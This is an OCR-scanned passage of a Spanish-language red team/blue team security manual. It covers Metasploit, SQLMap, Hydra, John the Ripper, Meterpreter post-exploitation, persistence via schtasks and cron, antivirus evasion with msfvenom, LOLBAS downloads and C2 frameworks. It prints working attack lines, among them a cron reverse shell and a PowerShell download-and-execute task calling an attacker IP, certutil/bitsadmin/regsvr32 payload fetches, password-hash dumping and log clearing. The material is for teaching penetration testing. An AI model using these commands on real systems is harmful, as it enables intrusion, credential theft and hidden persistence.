del arsenal de un pentester. Es un framework modular de cédigo abierto, escrito en Ruby, que
simplifica el proceso de explotacién al proporcionar una vasta biblioteca de exploits, payloads y
herramientas auxiliares probados vy listos para usar.
s Arquitectura y Médulos: La fortaleza de Metasploit reside en su modularidad. Los
componentes principales son :

o Exploits: Codigo que aprovecha una vulnerabilidad especifica en un sistema o
aplicacion.

o Payloads: Codigo que se ejecuta en el sistema objetivo después de que el exploit
tiene éxito. Definen lo que el atacante puede hacer (por ejemplo, obtener una
shell).

o Auxiliary: Modulos que realizan acciones que no son explicitamente de
explotacion, como escaneos, fuzzing o denegacion de servicio.

o Post: Mddulos de post-explotacion que se utilizan después de obtener acceso para
recopilar informacion, escalar privilegios o pivotar a otros sistemas.

o Encoders: Herramientas para ofuscar payloads y evadir la deteccion de antivirus.

o Nops (No-Operation): Se utilizan para rellenar el espacio en los exploits de
desbordamiento de bufer y mantener la estabilidad del payload.

¢+ msfconsole: Es la interfaz de linea de comandos principal y mas potente para

interactuar con el framework. Antes de usarla, es crucial iniciar y configurar la base de
datos PostgreSQL, que Metasploit utiliza para gestionar datos de proyectos, hosts y
vulnerabilidades. En Kali, esto se simplifica con el comando sudo msfdb init.Los
comandos basicos en msfconsole incluyen:

search <término>: Busca modulos (exploits, auxiliares, etc.).

use <nombre_del_maddulo>: Selecciona un mdédulo para su configuracion.

show options: Muestra las opciones configurables para el médulo seleccionado.

set <OPCION> <valor>: Establece un valor para una opcion (ej: set RHOSTS

192.168.1.10).

o show payloads: Muestra los payloads compatibles con el exploit seleccionado.

o set payload <nombre_del_payload>: Selecciona un payload.

o exploit o run: Lanza el ataque.

o o o o



Analisis de Payloads: Staged vs. Stageless y Bind vs. Reverse Shells

s Staged vs. Stageless Payloads:

o Staged (Por Etapas): Un payload staged se entrega en dos partes. Primero, se
envia un pequeno "stager" que cabe en exploits con restricciones de tamafio. Este
stager establece una conexion de red y luego descarga el "stage", que es el
payload completo y mas grande (como Meterpreter). La nomenclatura en
Metasploit utiliza una barra (/), por ejemplo: windows/meterpreter/reverse_tcp.

1 Ventaja: Tamano inicial muy pequefio.

1 Desventaja: Genera mas trafico de red (descarga del stage), es menos
estable y depende de que el handler de Metasploit esté disponible para
entregar la segunda etapa.

o Stageless (Sin Etapas): Un payload stageless es un unico ejecutable que
contiene todo el cédigo del exploit y del payload. Es auténomo. La nomenclatura en
Metasploit utiliza un guion bajo (_), por ejemplo: windows/meterpreter_reverse_tcp.

1 Ventaja: Mas estable y sigiloso una vez ejecutado, ya que no necesita
descargar nada mas.

1 Desventaja: Tamano de archivo mucho mayor, lo que lo hace incompatible
con muchos exploits de desbordamiento de bufer.

s Bind vs. Reverse Shells:

o Bind Shell: El payload abre un puerto en la maquina victima y se queda a la
escucha. El atacante debe conectarse a ese puerto para obtener la shell.

1 Ventaja: Mas simple de conceptualizar.

1 Desventaja: Casi siempre ineficaz en redes modernas. Los firewalls y NAT
suelen bloguear las conexiones entrantes a puertos aleatorios, haciendo
imposible que el atacante se conecte.

o Reverse Shell (Connect-back): El atacante configura un "listener" (oyente) en su
propia maquina. El payload, una vez ejecutado en la victima, inicia una conexion
hacia fuera, conectandose de vuelta al listener del atacante.

1 Ventaja: Extremadamente eficaz para evadir firewalls. Las politicas de
firewall suelen ser mucho mas permisivas con el trafico saliente que con el
entrante. Una reverse shell que se conecta al puerto 443 del atacante se
camuflara como trafico HTTPS normal.

1 Desventaja: Requiere que la maquina del atacante sea accesible desde la
victima.

Explotacion Web con Burp Suite

Burp Suite es el estandar de la industria para las pruebas de seguridad de aplicaciones web.
Su herramienta principal, Burp Proxy, actia como un intermediario (Man-in-the-Middle) entre el
navegador del tester y el servidor web, permitiendo interceptar, inspeccionar y modificar todo el
trafico HTTP/S.

¢ Flujo de Trabajo Basico:

1. Configurar el Proxy: Inicie Burp Suite y vaya a la pestafia Proxy > Intercept. Haga
clic en Open Browser para lanzar un navegador preconfigurado para usar el proxy
de Burp.

2. Interceptar una Peticidn: Active la intercepcion (Intercept is on). Navegue a un



sitio web en el navegador de Burp. La pagina no se cargard; en su lugar, la peticion
HTTP aparecera en la pestana Intercept.

3. Modificar y Reenviar: Aqui puede modificar cualquier parte de la peticion: el
método, la URL, las cabeceras o el cuerpo. Por ejemplo, en una peticion POST
para anadir un articulo a un carrito, podria cambiar el parametro price de 1337 a 1
para ver si el servidor valida el precio. Después de modificar, haga clic en Forward
para enviar la peticion manipulada al servidor.

4. Analizar el Historial: Desactive la intercepcion (Intercept is off) y navegue por el
sitio. Todas las peticiones y respuestas se registran en la pestana Proxy > HTTP
history para su posterior analisis.

¢ Herramientas Clave:

o Repeater: Permite tomar una peticion del historial, modificarla y reenviarla
repetidamente para probar diferentes payloads y observar las respuestas del
servidor.

o Intruder: Automatiza el envio de miles de peticiones modificadas. Es ideal para
ataques de fuerza bruta, fuzzing o enumeracion.

o Scanner (Version Pro): Escanea automaticamente en busca de vulnerabilidades
web comunes como XSS, SQLi, etc..

# Ejemplo de flujo en Burp Suite (conceptual):

# 1. En la pestafia Proxy > Intercept, activar "Intercept is on".

# 2. En el navegador de Burp, afadir un producto al carrito de
compras.

# 3. La peticidén POST /cart es interceptada. En el cuerpo de la
peticidén, se encuentra: productId=3l&quantity=1&price=1337.00

# 4. Se modifica el valor del precio: price=0.01

# 5. Se hace clic en "Forward".

# 6. Se revisa el carrito en el navegador para ver si el precio se ha
actualizado a $0.01.

Inyecciéon de SQL con SQLMap

SQLMap es una potente herramienta de cédigo abierto que automatiza el proceso de deteccién
y explotacion de vulnerabilidades de inyeccion SQL (SQLi) y la toma de control de servidores
de bases de datos. Dada una URL con un parametro vulnerable, SQLMap puede identificar el
tipo de base de datos, extraer informacion sobre las bases de datos, tablas, columnas y,
finalmente, volcar los datos.
¢ Comandos Practicos:
o Escaneo Basico: Identificar si un parametro es vulnerable.
sglmap -u "http://testphp.vulnweb.com/artists.php?artist=1"

o Enumeraciéon de Bases de Datos: Una vez confirmada la vulnerabilidad, listar
todas las bases de datos.
sglmap -u "http://testphp.vulnweb.com/artists.php?artist=1"
--dbs

o Enumeracion de Tablas: Listar las tablas de una base de datos especifica.
sgqlmap -u "URL VULNERABLE" -D nombre db --tables



o Enumeracion de Columnas: Listar las columnas de una tabla especifica.
sglmap -u "URL VULNERABLE" -D nombre db -T nombre tabla
—--columns

o Volcado de Datos (Dumping): Extraer los datos de columnas especificas.
sglmap -u "URL VULNERABLE" -D nombre db -T usuarios -C
usuario, contrasefia —--dump

o Obtener una Shell: En algunos casos, dependiendo de los privilegios de la base
de datos y la configuracién del servidor, SQLMap puede obtener una shell
interactiva en el sistema operativo subyacente.
sglmap —-u "URL VULNERABLE" --os-shell

# Ejemplo completo: Desde la deteccidén hasta el volcado de contrasefias
# 1. Listar bases de datos

sglmap -u "http://192.168.1.10/vuln.php?id=1" --dbs

# 2. Listar tablas de la base de datos 'my app'

sglmap -u "http://192.168.1.10/vuln.php?id=1" -D my app —--tables

# 3. Listar columnas de la tabla 'users'

sglmap -u "http://192.168.1.10/vuln.php?id=1" -D my app -T users
—--columns

# 4. Volcar los datos de las columnas 'username' y 'password'
sglmap -u "http://192.168.1.10/vuln.php?id=1" -D my app -T users -C
username, password —--dump

Ataques de Fuerza Bruta con Hydra

Hydra es una herramienta de cracking de inicio de sesion en red, paralela y muy rapida.
Soporta numerosos protocolos, incluyendo SSH, FTP, Telnet, HTTP-POST, SMB, y muchos
mas. Es la herramienta de eleccion para probar la fortaleza de las contrasefias en servicios de
red autenticados.
¢+ Comandos Practicos:
o Ataque con un solo usuario y una lista de contrasenas:
# Intentar acceder por SSH como usuario 'root' usando cada
contrasefia de 'passwords.txt'
hydra -1 root -P /usr/share/wordlists/rockyou.txt
ssh://192.168.1.22

o Ataque con lista de usuarios y lista de contraseias:
# Intentar acceder por FTP probando cada usuario de
'users.txt' con cada contrasefia de 'passwords.txt'
hydra -L users.txt -P passwords.txt ftp://192.168.1.22

o Ajuste de Rendimiento y Verbosidad:
# Usar 16 hilos en paralelo (-t 16) y mostrar informacidn
detallada (-vV)



hydra -L users.txt -P passwords.txt -t 16 -vV
ssh://192.168.1.22

# Ejemplo: Ataque de fuerza bruta a un formulario de login web (HTTP
POST)

# Se necesita inspeccionar la peticién de login para obtener los
paradmetros y el mensaje de error.

hydra -1 admin -P passlist.txt 10.10.10.10 http-post-form
"/login.php:username="USER"&password="PASS":Login failed"

Crackeo de Contraseias con John the Ripper

John the Ripper (JtR) es una de las herramientas de cracking de contrasenas offline mas
conocidas y potentes. A diferencia de Hydra, que ataca servicios en vivo, JIR trabaja sobre
hashes de contrasefias que han sido previamente extraidos de un sistema (por ejemplo, del
archivo /etc/shadow en Linux o de un volcado de SAM en Windows).

¢+  Modos de Ataque:

o Single Crack Mode: Es el primer modo que prueba JtR por defecto. Es muy rapido
y efectivo. Utiliza el propio nombre de usuario y variaciones del mismo (como
afadir numeros, cambiar mayusculas) como posibles contrasefias.

o Wordlist Mode: Utiliza una lista de palabras (diccionario) como rockyou.txt. JtR
puede aplicar un conjunto de reglas de mutacion a cada palabra del diccionario (ej:
password -> P@sswO0rd1!) para ampliar enormemente las posibilidades.

o Incremental Mode: Es el modo de fuerza bruta. Prueba todas las combinaciones
posibles de caracteres. Es el mas lento pero el mas exhaustivo.

¢ Comandos Practicos:

o Preparaciéon de Hashes (Linux): Para crackear contrasefias de Linux, primero se
deben combinar los archivos /etc/passwd y /etc/shadow.

# Como root, combinar los archivos en uno solo para JtR
unshadow /etc/passwd /etc/shadow > hashes para john

o Ataque Basico: Simplemente se le pasa el archivo de hashes a JtR.
john hashes para john
JtR probara los modos single, wordlist (con su lista por defecto) e incremental en
ese orden.
o Ataque con un Diccionario Especifico:
# Usar la popular lista de palabras rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt
hashes para john

o Especificar el Formato del Hash: A veces JtR no detecta el formato correcto. Se
puede especificar manualmente.
# Crackear un archivo que contiene hashes MD5 sin formato
john --format=Raw-MD5 hashes md5.txt

o Mostrar Contraseinas Crackeadas: JiR guarda las contrasefias crackeadas en un
archivo john.pot. Para verlas, se usa la opcién --show.



john --show hashes para john

# Ejemplo: Crackear un archivo de hashes de Windows (formato LM)
usando el modo incremental
john --format=1m hashes windows.txt --incremental

La fase de explotacién es un proceso de toma de decisiones estratégicas. Un pentester no solo
ejecuta comandos, sino que analiza la informacion del reconocimiento para seleccionar la
herramienta y la configuracion del payload mas adecuadas para evadir las defensas y
maximizar la probabilidad de éxito. La habilidad no reside en usar una sola herramienta, sino en
encadenar los resultados de multiples herramientas para lograr un objetivo mas profundo, como
usar SQLMap para obtener una shell, usar esa shell para cargar un payload de Meterpreter, y
luego usar Meterpreter para la persistencia. Este encadenamiento es lo que define a un
operador de Red Team competente.

Seccion 6: Fase 3 - Post-Explotacion y Persistencia

Obtener acceso inicial a un sistema es solo el comienzo de una operaciéon de Red Team. La
fase de post-explotaciéon es donde se realizan las acciones sobre el objetivo para alcanzar las
metas definidas en las Reglas de Enfrentamiento (RoE). Esto puede incluir la exfiltracion de
datos, el movimiento lateral a otros sistemas en la red o el establecimiento de un punto de
apoyo duradero. La persistencia es una sub-fase critica de la post-explotacién, que consiste
en implementar mecanismos que aseguren que el acceso al sistema comprometido se
mantenga incluso después de reinicios, cambios de credenciales u otros eventos que podrian
cortar la conexién inicial.

Dominando Meterpreter: Comandos Esenciales

Meterpreter, que significa "Meta-Intérprete", es el payload mas avanzado y versatil del
Metasploit Framework. A diferencia de una shell estandar, Meterpreter es un payload
completamente en memoria que se inyecta en un proceso comprometido y nunca toca el disco,
lo que lo hace extremadamente sigiloso y dificil de detectar por métodos forenses tradicionales.
Proporciona una plataforma extensible para ejecutar comandos, cargar médulos de
post-explotacion y manipular el sistema victima de forma remota.

Una vez que un exploit exitoso entrega un payload de Meterpreter, el atacante obtiene una
sesion interactiva. Desde aqui, una serie de comandos esenciales permiten un control profundo
sobre el sistema comprometido:

Comando Descripcion Sintaxis de Ejemplo Contexto de Uso (Red
Team)
getuid Muestra el ID de getuid Verificar si se han
usuario con el que se obtenido privilegios de
esta ejecutando la usuario estandar o
sesion de Meterpreter. elevados (ej: NT
AUTHORITY\SYSTEM)
sysinfo Muestra informacion  |sysinfo Obtener una vision
basica del sistema general rapida del




Comando Descripcion Sintaxis de Ejemplo Contexto de Uso (Red
Team)
victima (SO, entorno del objetivo

arquitectura, etc.).

para planificar los
siguientes pasos.

ps Listalos procesosen [ps Identificar procesos
ejecucion en la interesantes, como
maquina victima. software de seguridad,
0 procesos estables y
con altos privilegios a
los que migrar.
migrate Migra la sesion de migrate 1234 Moverse a un proceso
Meterpreter a un mas estable (como
proceso diferente. explorer.exe o
svchost.exe) para
evitar perder la sesién
si el proceso explotado
originalmente se cierra
0 es inestable. También
es una técnica de
evasion.
getsystem Intenta escalar los getsystem Obtener el maximo
privilegios de la sesion nivel de control sobre el
al nivel de SYSTEM en sistema para realizar
Windows. acciones restringidas
como volcar hashes de
contrasefas.
hashdump Extrae los hashes de |hashdump Obtener credenciales
las contrasenas del para ataques de
SAM (Security Account pass-the-hash,
Manager) de Windows. cracking offline o
movimiento lateral.
Requiere privilegios de
SYSTEM.
shell Proporciona una shell [shell Ejecutar comandos
de comandos estandar nativos del sistema que
del sistema operativo no estan disponibles
victima. directamente en
Meterpreter.
upload Sube un archivo desde |upload /ruta/local Transferir herramientas
la maquina del /ruta/remota adicionales, scripts 0
atacante a la victima. payloads al sistema
comprometido.
download Descarga un archivo  [download Exfiltrar datos sensibles

desde la maquina
victima a la del

atacante.

C:\\secretos\\doc.txt.

o archivos de
configuracion
importantes.




Comando Descripcion Sintaxis de Ejemplo Contexto de Uso (Red

Team)
clearev Borra los logs de clearev Eliminar las huellas de
Eventos de Aplicacion, la intrusion para
Sistema y Seguridad dificultar el analisis
en Windows. forense posterior. Es

una accién muy ruidosa
vy debe usarse con
precaucion.

Fuentes de la tabla:

# Ejemplo de flujo post-explotacidén en Meterpreter:
# 1. Verificar privilegios actuales

meterpreter > getuid

Server username: DOMINIO\Usuario

# 2. Intentar escalar privilegios
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation).

# 3. Verificar los nuevos privilegios
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

# 4. Volcar los hashes de contrasefia
meterpreter > hashdump

# 5. Migrar a un proceso mas sigiloso y estable
meterpreter > ps

#... (localizar PID de svchost.exe, ej: 868)
meterpreter > migrate 868

Técnicas de Persistencia en Windows: Abuso de Tareas Programadas (schtasks)

En entornos Windows, el Programador de Tareas es un componente del sistema operativo
utilizado para automatizar la ejecucion de scripts y programas. Los atacantes abusan de esta
funcionalidad legitima para establecer persistencia, ya que las tareas programadas pueden
configurarse para ejecutarse en momentos especificos (como al iniciar el sistema o al iniciar
sesidn un usuario), con privilegios elevados (SYSTEM), y su actividad puede mezclarse
facilmente con las tareas administrativas legitimas, dificultando su deteccion.
La herramienta de linea de comandos schtasks.exe es el método principal para interactuar con
el Programador de Tareas.
¢ Sintaxis Clave de schtasks /create:
o /tn "NombreDeLaTarea": Especifica el nombre de la tarea. Los atacantes suelen
usar nombres que parecen legitimos, como "GoogleUpdate" o "OfficeUpdaterA".
o /tr"ComandoA Ejecutar": La ruta al ejecutable o el comando que se lanzara. Este
es el nucleo del mecanismo de persistencia.



o /sc <frecuencia>: Define el calendario. Valores comunes para persistencia son
onlogon (al iniciar sesidn un usuario), onstart (al arrancar el sistema), o minute
(para ejecuciones frecuentes).
o /ru <usuario>: Especifica la cuenta de usuario con la que se ejecutara la tarea.
Usar SYSTEM proporciona los privilegios mas altos.
o [f: Fuerza la creacion de la tarea si ya existe una con el mismo nombre.
¢ Ejemplo Practico de Persistencia con schtasks: Un atacante puede usar una sesién
de Meterpreter (o una shell de comandos) para crear una tarea programada que
descargue y ejecute un payload de PowerShell desde un servidor de Comando y Control
(C2) cada vez que cualquier usuario inicie sesion.
# Desde una shell en la victima, crear una tarea que se ejecuta al
iniciar sesidén con privilegios de SYSTEM
schtasks /create /tn "WinUpdateService" /tr "powershell.exe -nop
-w hidden -c \"IEX (New-Object
Net.WebClient) .DownloadString ('http://192.168.1.100/beacon.psl’)\"
" /sc onlogon /ru SYSTEM /f
Este comando crea una tarea llamada "WinUpdateService" que ejecuta PowerShell de
forma oculta (-w hidden) para descargar y ejecutar (IEX) un script desde la maquina del
atacante. Al ejecutarse como SYSTEM y onlogon, asegura un acceso persistente y
privilegiado.

Técnicas de Persistencia en Linux: Abuso de Cron Jobs

En sistemas Linux y UNIX, cron es el demonio de programacion de tareas estandar. Es el
equivalente funcional del Programador de Tareas de Windows y, de manera similar, es un
objetivo principal para los atacantes que buscan establecer persistencia. Un "cron job" es una
tarea programada que se define en un archivo "crontab".

s Ubicaciones de Crontab:

o Crontabs de Usuario: Cada usuario puede tener su propio archivo crontab, que se
gestiona con el comando crontab -e. Estos archivos se almacenan tipicamente en
/var/spool/cron/crontabs/.

o Crontabs de Sistema: El sistema tiene crontabs globales en /etc/crontab y en
directorios como /etc/cron.d/, /etc/cron.hourly/, /etc/cron.daily/, etc. Los scripts
colocados en estos directorios se ejecutan con la frecuencia que su nombre indica.

+ Sintaxis de Crontab: Una linea de crontab tiene el siguiente formato: minuto hora
dia_mes mes dia_semana usuario comando Los asteriscos (*) actian como comodines.
Por ejemplo, * * * * * significa "cada minuto de cada hora de cada dia...".

s Ejemplo Practico de Persistencia con Cron Job: Un atacante con acceso a una shell
en un sistema Linux puede afadir facilmente un cron job que intente establecer una
reverse shell a sumaquina a intervalos regulares. Esto asegura que incluso si la shell
inicial se pierde, se establecera una nueva conexion poco después.

# Afiadir un cron job que intenta conectarse a 192.168.1.100 en el
puerto 4444 cada minuto.

# E1 comando primero lista los cron jobs existentes (-1) y luego
afiade la nueva linea.

(crontab -1 2>/dev/null; echo "* * * * * /bin/bash -i >&
/dev/tcp/192.168.1.100/4444 0>&1") | crontab -

Este comando es sigiloso y efectivo. 2>/dev/null suprime los mensajes de error si no



existe un crontab previo. La nueva linea de reverse shell se afiade a la lista existente y se
instala con crontab -. Esta es una técnica de persistencia extremadamente comun y
potente en entornos Linux.
La post-explotacion y la persistencia son las fases donde se materializa el impacto de un
ataque. La habilidad de un Red Teamer no se mide solo por su capacidad de entrar, sino por su
capacidad de permanecer, moverse y alcanzar objetivos dentro de la red comprometida, todo
ello mientras evade la deteccion.

Seccion 7: Tacticas Avanzadas de Evasion

En el juego del gato y el ratdn que es la ciberseguridad, la explotacién es solo la mitad de la
batalla. Una vez que un Red Team obtiene acceso, debe enfrentarse a un nuevo conjunto de
defensas disefiadas para detectar y neutralizar la actividad post-explotacién: software antivirus
(AV), sistemas de deteccion y respuesta de endpoints (EDR) y analistas de seguridad
vigilantes. Por lo tanto, las tacticas de evasidn son cruciales para el éxito de una operacion.
Esta seccion explora técnicas para eludir estas defensas, desde la ofuscacion de payloads
hasta el abuso de herramientas del sistema y el uso de frameworks de comando y control (C2)
avanzados.

La necesidad de estas tacticas avanzadas surge de una carrera armamentista evolutiva.
Inicialmente, los payloads maliciosos podian ejecutarse sin problemas. En respuesta, la
industria de la seguridad desarroll6 defensas basadas en firmas que detectaban patrones de
bytes conocidos en archivos maliciosos. Los atacantes contrarrestaron esto con encoders, que
ofuscaban los payloads para cambiar sus firmas. Las defensas evolucionaron de nuevo con
analisis heuristico y de comportamiento, capaces de detectar no solo "lo que es" un archivo,
sino "lo que hace". Esto llevo a los atacantes a adoptar la estrategia de Living Off The Land
(LOLBAS), abusando de herramientas legitimas y firmadas por el sistema operativo para
realizar sus acciones, ya que estas herramientas no pueden ser simplemente bloqueadas por
las defensas sin afectar la funcionalidad del sistema. Finalmente, la necesidad de gestionar
campafas de ataque complejas de manera sigilosa y coordinada impulso6 el desarrollo de
frameworks C2 avanzados que permiten una personalizacion extrema del comportamiento del
implante y su trafico de red, representando el estado actual de la evasion.

Evasién de Antivirus con msfvenom y Encoders

msfvenom es una herramienta del Metasploit Framework que combina la generacion de
payloads (msfpayload) y la codificacién (msfencode) en una unica utilidad. Su propésito
principal es crear payloads personalizados que puedan ser entregados a través de varios
meétodos. Una de sus caracteristicas mas utilizadas para la evasion de AV es la capacidad de
aplicar encoders.
Un encoder modifica el payload original para que su firma de bytes cambie, con la esperanza
de que el software antivirus no lo reconozca. El encoder afiade un pequefio "decodificador stub”
al principio del payload. Cuando el payload codificado se ejecuta en la maquina victima, el stub
se ejecuta primero, decodifica el payload original en memoria y luego le transfiere la ejecucion.
s Shikata Ga Nai (SGN): Es el encoder mas conocido y utilizado de Metasploit. Su
nombre, japonés para "no se puede evitar", refleja su eficacia. SGN es un encoder
polimérfico, lo que significa que el decodificador stub que genera es diferente en cada
ejecucion, haciendo mucho mas dificil la creacion de una firma estatica para detectarlo.
¢+ Comando msfvenom para Codificacion:



# Generar un payload de Meterpreter reverse https para Windows x64
# LHOST: IP del atacante, LPORT: Puerto de escucha

# -e x64/shikata ga nai: Especifica el encoder Shikata Ga Nai para
64 bits

# -1 15: Numero de iteraciones. Codifica el payload 15 veces para
mayor ofuscaciédn.

# —-f exe: Formato de salida (un archivo ejecutable de Windows) .

# -o payload.exe: Nombre del archivo de salida.

msfvenom -p windows/x64/meterpreter/reverse https
LHOST=192.168.1.100 LPORT=443 -e x64/shikata ga nai -i 15 -f exe
-0 payload.exe

Aunque la codificacion multiple puede ayudar a evadir AVs mas antiguos basados en
firmas, los sistemas de defensa modernos (EDR, AV de nueva generacion) a menudo
utilizan analisis de comportamiento o emulacion en sandbox para detectar la accion del
propio decodificador, independientemente de cuantas veces se haya codificado el
payload. Por lo tanto, esta técnica es un primer paso, pero rara vez es suficiente contra
defensas maduras.

Viviendo del Terreno (Living Off The Land - LOLBAS)

Living Off The Land Binaries and Scripts (LOLBAS) es una técnica de ataque en la que un
adversario utiliza las propias herramientas y utilidades preinstaladas del sistema operativo para
llevar a cabo sus objetivos. En lugar de introducir herramientas maliciosas personalizadas (que
podrian ser facilmente detectadas por el software de seguridad), el atacante abusa de
programas legitimos y firmados por Microsoft, como PowerShell.exe, Certutil.exe,
Bitsadmin.exe, Wmic.exe, entre otros.

Esta tactica es extremadamente sigilosa y efectiva por varias razones:

Evasion de Deteccion: Las herramientas utilizadas son legitimas y de confianza, por lo
que su ejecucion no suele levantar sospechas en los sistemas de seguridad basados en
listas blancas o firmas.

Bajo Rastro en Disco: Los ataques a menudo se pueden realizar completamente en
memoria, sin dejar archivos maliciosos en el disco duro.

Mezcla con Actividad Legitima: La actividad generada por estas herramientas es a
menudo indistinguible de la actividad administrativa normal, lo que dificulta que los
analistas de seguridad la identifiquen como maliciosa.

Ejemplos Practicos de LOLBAS:

o Descargar un payload con Certutil.exe: certutil.exe es una herramienta de linea
de comandos para gestionar certificados, pero tiene una funcionalidad que puede
ser abusada para descargar archivos desde una URL.

# Usar certutil para descargar un archivo desde la URL del
atacante y guardarlo como payload.exe

certutil.exe -urlcache -split -f
http://192.168.1.100/payload.exe C:\Windows\Temp\payload.exe
Este comando es menos propenso a ser bloqueado o monitoreado que una
descarga directa a través de un navegador o PowerShell.

o Descargar un payload con bitsadmin.exe: bitsadmin es otra utilidad para
gestionar transferencias de archivos en segundo plano.

# Usar bitsadmin para descargar un archivo



bitsadmin /transfer miDescarga /download /priority normal
http://192.168.1.100/payload.exe C:\Windows\Temp\payload.exe

o Ejecucion de codigo con Regsvr32.exe: Esta herramienta se utiliza para
registrar y anular el registro de servidores COM, pero puede ser abusada para
ejecutar scripts remotos (archivos .sct) alojados en un servidor web, eludiendo los
controles de ejecucion de aplicaciones.

# Ejecutar un script malicioso alojado remotamente
regsvr32 /s /n /u /i:http://192.168.1.100/payload.sct
scrobj.dll

El proyecto LOLBAS Project (hitps://lolbas-project.qithub.io/) es un recurso invaluable que
cataloga cientos de binarios, scripts y librerias de Windows que pueden ser abusados para
fines ofensivos.

Introduccién al Comando y Control (C2) Avanzado: Malleable C2 y Covenant

A medida que las defensas de red se han vuelto mas sofisticadas, la simple obtencion de una
reverse shell ya no es suficiente. Los Blue Teams modernos analizan el trafico de red en busca
de anomalias, y el trafico de un payload estandar de Metasploit puede ser facilmente
identificado. Los frameworks de Comando y Control (C2 o C&C) avanzados abordan este
problema permitiendo una personalizacion profunda del comportamiento y la comunicacion del
implante.

s Cobalt Strike y Malleable C2: Cobalt Strike es una plataforma comercial de simulacion
de adversarios y operaciones de Red Team, considerada un estandar en la industria. Su
payload, llamado Beacon, es altamente configurable. La caracteristica mas potente de
Cobalt Strike es Malleable C2. Un perfil Malleable C2 es un archivo de configuracion que
define como se ve el trafico de red de Beacon. Permite a los operadores modificar cada
aspecto de las comunicaciones HTTP/S o DNS, incluyendo :

o URIs, cabeceras y métodos HTTP: Se puede hacer que el trafico de Beacon se
parezca a trafico web legitimo, como peticiones a Google, Amazon Web Services o
el uso de librerias como jQuery.

o Transformacion de Datos: Define como se codifican y ocultan los metadatos de la
sesioén dentro de las transacciones HTTP (por ejemplo, en cookies, cabeceras o
parametros).

o Comportamiento en Memoria: Controla cémo se inyecta el payload en la
memoria y cOmo se oculta mientras esta inactivo (sleep mask).

El objetivo es hacer que el trafico C2 se mezcle con el ruido de fondo de la red del
objetivo, o incluso emular los indicadores de red de un actor de amenaza persistente
avanzado (APT) conocido, como PlugX, para probar especificamente las defensas contra
ese actor.

¢+ Covenant C2: Covenant es un framework C2 de cédigo abierto que ha ganado
popularidad como una alternativa a Cobalt Strike. Su principal caracteristica es que esta
completamente escrito en .NET Core, lo que lo hace multiplataforma (puede ejecutarse
en Windows, Linux y macOS) y le permite destacar en la explotacion de entornos
Windows basados en.NET. Caracteristicas clave de Covenant incluyen :

o Interfaz Web Colaborativa: Permite que multiples operadores de Red Team
trabajen juntos en la misma operacion.



o Implantes.NET ("Grunts"): Sus agentes, llamados Grunts, son payloads de.NET
que se compilan dinamicamente. Cada vez que se genera un Grunt, su codigo
fuente se recompila y ofusca, evitando firmas estaticas.

o Perfiles de Comunicacién: Al igual que Cobalt Strike, permite la personalizacién
de los perfiles de comunicacion de los listeners para modificar la apariencia del
trafico de red.

o Ejecucion de C# en linea: Permite a los operadores ejecutar fragmentos de
cédigo C# directamente en los implantes, ofreciendo una gran flexibilidad.

El uso de estos frameworks C2 avanzados representa la cuspide de las operaciones de Red
Team modernas. La habilidad ya no reside solo en encontrar una vulnerabilidad, sino en
gestionar toda la campana de ataque de una manera operativamente segura (OPSEC),
imitando a un adversario real y permaneciendo sin ser detectado durante largos periodos de
tiempo.

Parte lll: La Fortaleza Digital - Manual del Blue Team

Mientras que el Red Team se enfoca en romper las defensas, el Blue Team se dedica a
construirlas, mantenerlas y operarlas. La eficacia de un Blue Team no se mide por su
capacidad para prevenir el 100% de los ataques —un objetivo poco realista en el panorama de
amenazas actual— sino por su capacidad para detectar, responder y recuperarse de los
incidentes de la manera mas rapida y eficiente posible, minimizando el impacto en la
organizacion. Esta seccion explora las herramientas y metodologias fundamentales que utiliza
el Blue Team para lograr la visibilidad necesaria, detectar actividades maliciosas y gestionar la
respuesta a incidentes.

Seccion 8: Visibilidad y Deteccién de Amenazas

La piedra angular de cualquier operacion de defensa es la visibilidad. No se puede defender lo
qgue no se puede ver. Las herramientas de analisis de trafico de red y los sistemas de deteccion
de intrusos son fundamentales para proporcionar esta visibilidad y permitir la deteccién
temprana de amenazas.

Analisis de Trafico con Wireshark

Wireshark es el analizador de protocolos de red mas utilizado en el mundo. Es una
herramienta indispensable para cualquier analista de seguridad, ya que permite capturar y
examinar el trafico de red a nivel de paquete individual. Para un Blue Team, Wireshark es
crucial para investigar alertas de seguridad, analizar malware, solucionar problemas de red y
realizar analisis forenses de red.
o Filtros de Captura vs. Filtros de Visualizacion: Es vital entender la diferencia entre
estos dos tipos de filtros :

o Filtros de Captura (Capture Filters): Se aplican antes de que comience la
captura. Utilizan la sintaxis de Berkeley Packet Filter (BPF) y le dicen a Wireshark
qué trafico guardar en el archivo de captura (pcap). Son utiles para reducir el
tamafio de las capturas en redes con mucho trafico. Ejemplo: host 192.168.1.50
and port 443.

o Filtros de Visualizacion (Display Filters): Se aplican después de que el trafico ha



sido capturado. Permiten al analista ocultar el ruido y centrarse en los paquetes de
interés. Son mucho mas potentes y flexibles que los filtros de captura, ya que
pueden diseccionar campos de protocolo especificos.
¢ Filtros de Visualizacion Practicos para el Blue Team: El verdadero poder de
Wireshark para un analista reside en el dominio de los filtros de visualizacion. A
continuacién, se presenta una tabla con ejemplos orientados a tareas de deteccién.

[Escenario de Deteccién

Filtro de Wireshark

Explicacion y Proposito

Detectar un Escaneo de
Puertos SYN

tcp.flags.syn == 1 and
tcp.flags.ack == 0 and
tcp.window_size <= 1024

Aisla los paquetes SYN que
inician conexiones, un
indicador clave en escaneos de
red como los de Nmap. El filtro
de window_size ayuda a
reducir falsos positivos.

lAnalizar Trafico de un Host
Sospechoso

ip.addr == 192.168.1.101

Filtra todo el trafico entrante y
saliente de la IP especificada,
permitiendo una investigacion
enfocada de la actividad de un
host potencialmente
comprometido.

Buscar Peticiones de Login
Fallidas (HTTP)

http.response.code == 401

Muestra todas las respuestas
HTTP de "No Autorizado", util
para detectar intentos de fuerza
bruta contra aplicaciones web.

Aislar Trafico DNS Anémalo

dns.qry.type == 255 o
dns.flags.response ==
and!(dns.gry.name contains
".arpa")

El primer filtro busca peticiones
DNS de tipo ANY (255), a
menudo usadas en
reconocimiento. El segundo
busca peticiones DNS que no
obtienen respuesta, lo que
puede indicar C2 a través de
DNS tunneling.

Seguir una Conversacion
TCP

tcp.stream eq 5

Reconstruye y muestra la
conversacion TCP completa
(ida y vuelta) para un stream
especifico. Esencial para
entender el flujo de datos de
una conexion.

Detectar Trafico HTTP No
Estandar

http and!(tcp.port == 80 or
